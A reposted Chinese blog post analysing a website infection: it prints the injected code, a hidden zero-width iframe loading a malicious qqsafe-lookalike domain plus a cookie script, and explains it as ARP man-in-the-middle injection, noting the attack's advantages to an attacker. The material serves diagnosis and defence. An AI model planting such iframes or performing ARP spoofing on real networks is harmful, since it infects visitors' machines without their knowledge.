qqsafe病毒 arp网站挂马 原理剖析-786ts.qqsafe-qqservicesyydswfhuw8ysjftwf.org(转载)
?
?? 昨天小站被掛馬了，每次打開都會自動彈出一個對話框，提示正準備安裝...，然后就消失。查看頁面的源文件會發現在代碼的最后面被加上了9 ~0 ]* U9 N2 ^
<body>" z% I9 o( h% [" ?' A
<iframe src="http://786ts.qqsafe-qqservicesyydswfhuw8ysjftwf.org" height=50 width=0></iframe>8 y1 d8 M) l% D* @; E
<script language="javascript">9 q+ }/ {- y* U/ z
var expires = new Date();expires.setTime(expires.getTime() + 7*24*60*60*1000);document.cookie="vovo=123456test;expires="+expires.toGMTString();+ X- O8 ~8 `. }
</script>5 T% t??h' P" z
</body>! ~4 d& |??v+ A3 `- O' m' ]1 S
這段代碼。經過我和技術人員的一整天的辛苦查找，終于解決了。最終得出結論是，服務器被植入了木馬程序，這樣所在服務器上的所有站點均被掛馬了，經查，結果跟我們推測的一模一樣，而且中毒情況完全相同。下面是關于qqsafe病毒、arp網站掛馬的原理剖析，奉獻給需要的網友，希望被掛馬的站長朋友能早日擺脫木馬的困擾：
以下是解決辦法：
不管是訪問服務器上的任何網頁，就連404的頁面也會在<html>后加入：
<body>
<iframe src="http://786ts.qqsafe-qqservicesyydswfhuw8ysjftwf.org" height=50 width=0></iframe>
<script language="javascript">
var expires = new Date();expires.setTime(expires.getTime() + 7*24*60*60*1000);document.cookie="vovo=123456test;expires="+expires.toGMTString();
</script>
</body>?
掛馬的位置在html標記左右,上面這段惡意代碼，它會每隔幾秒加入代碼，也就是說在輸出具體的東西之前就被掛了，有時有有時又沒有，不是網頁源代碼問題，也沒有在網頁源代碼中加入惡意代碼，即使重裝服務器，格式化重分區過第一個硬盤，放上去網站沒多久一樣再會出現這種情況.
首先就排除了網站被入侵的可能,因為首頁能加在那個位置只能是title的地方,用js控制也不大可能.然后去看了php.ini的設置也沒有任何的異常,而且這個插入的代碼有的時候出現有的時候不出現,說明不是網站的問題了.打開同服務器的其他網站也有這個情況發生,而且狀況一一樣.檢查并且搜索掛馬的關鍵字之后確定不是網站程序的問題.
那么剩下的要么是IIS自己出了問題,要么是網絡的問題,因為數據是處理沒有問題(這個由程序輸出,而且即使是html都會出問題),經過一個一個排查,最后基本可以確定就是arp欺騙欺騙數據報走向,然后中間人修改一些定義的關鍵字.因為是網絡層次有問題(所以重做系統是沒有用的).
目的：通過arp欺騙來直接掛馬
優點:可以直接通過arp欺騙來掛馬.
通常的arp欺騙的攻擊方式是在同一vlan下,控制一臺主機來監聽密碼,或者結合ssh中間人攻擊來監聽ssh1的密碼
但這樣存在局限性:1.管理員經常不登陸,那么要很久才能監聽到密碼
2.目標主機只開放了80端口,和一個管理端口,且80上只有靜態頁面,那么很難利用.而管理端口,如果是3389終端,或者是ssh2,那么非常難監聽到密碼.
優點:1.可以不用獲得目標主機的權限就可以直接在上面掛馬
2.非常隱蔽,不改動任何目標主機的頁面或者是配置,在網絡傳輸的過程中間直接插入掛馬的語句.
3.可以最大化的利用arp欺騙,從而只要獲取一臺同一vlan下主機的控制權,就可以最大化戰果.
原理：arp中間人攻擊，實際上相當于做了一次代理。
正常時候:?A---->B?,A是訪問的正常客戶,B是要攻擊的服務器,C是被我們控制的主機
arp中間人攻擊時候:?A---->C---->B
B---->C---->A
實際上,C在這里做了一次代理的作用
那么HTTP請求發過來的時候,C判斷下是哪個客戶端發過來的包,轉發給B,然后B返回HTTP響應的時候,在HTTP響應包中,插入一段掛馬的代碼,比如iframe...之類,再將修改過的包返回的正常的客戶A,就起到了一個掛馬的作用.在這個過程中,B是沒有任何感覺的,直接攻擊的是正常的客戶A,如果A是管理員或者是目標單位,就直接掛上馬了.
什么是ARP？
英文原義：Address?Resolution?Protocol?
中文釋義：（RFC-826）地址解析協議?
局域網中，網絡中實際傳輸的是“幀”，幀里面是有目標主機的MAC地址的。所謂“地址解析”就是主機在發送幀前將目標IP地址轉換成目標MAC地址的過程。ARP協議的基本功能就是通過目標設備的IP地址，查詢目標設備的MAC地址以保證通信的順利進行。?
注解：簡單地說，ARP協議主要負責將局域網中的32為IP地址轉換為對應的48位物理地址，即網卡的MAC地址，比如IP地址為192.168.0.1網卡MAC地址為00-03-0F-FD-1D-2B。整個轉換過程是一臺主機先向目標主機發送包含IP地址信息的廣播數據包，即ARP請求，然后目標主機向該主機發送一個含有IP地址和MAC地址數據包，通過MAC地址兩個主機就可以實現數據傳輸了。?
應用：在安裝了以太網網絡適配器的計算機中都有專門的ARP緩存，包含一個或多個表，用于保存IP地址以及經過解析的MAC地址。在Windows中要查看或者修改ARP緩存中的信息，可以使用arp命令來完成，比如在Windows?XP的命令提示符窗口中鍵入“arp?-a”或“arp?-g”可以查看ARP緩存中的內容；鍵入“arp?-d?IPaddress”表示刪除指定的IP地址項（IPaddress表示IP地址）。arp命令的其他用法可以鍵入“arp?/?”查看到。
?
摘自：木木家園
總結
以上是生活随笔為你收集整理的qqsafe病毒 arp网站挂马 原理剖析-786ts.qqsafe-qqservicesyydswfhuw8ysjftwf.org(转载)的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 微波天线及各种天线概念解析
- 下一篇： java 简单图片浏览器_Java实现简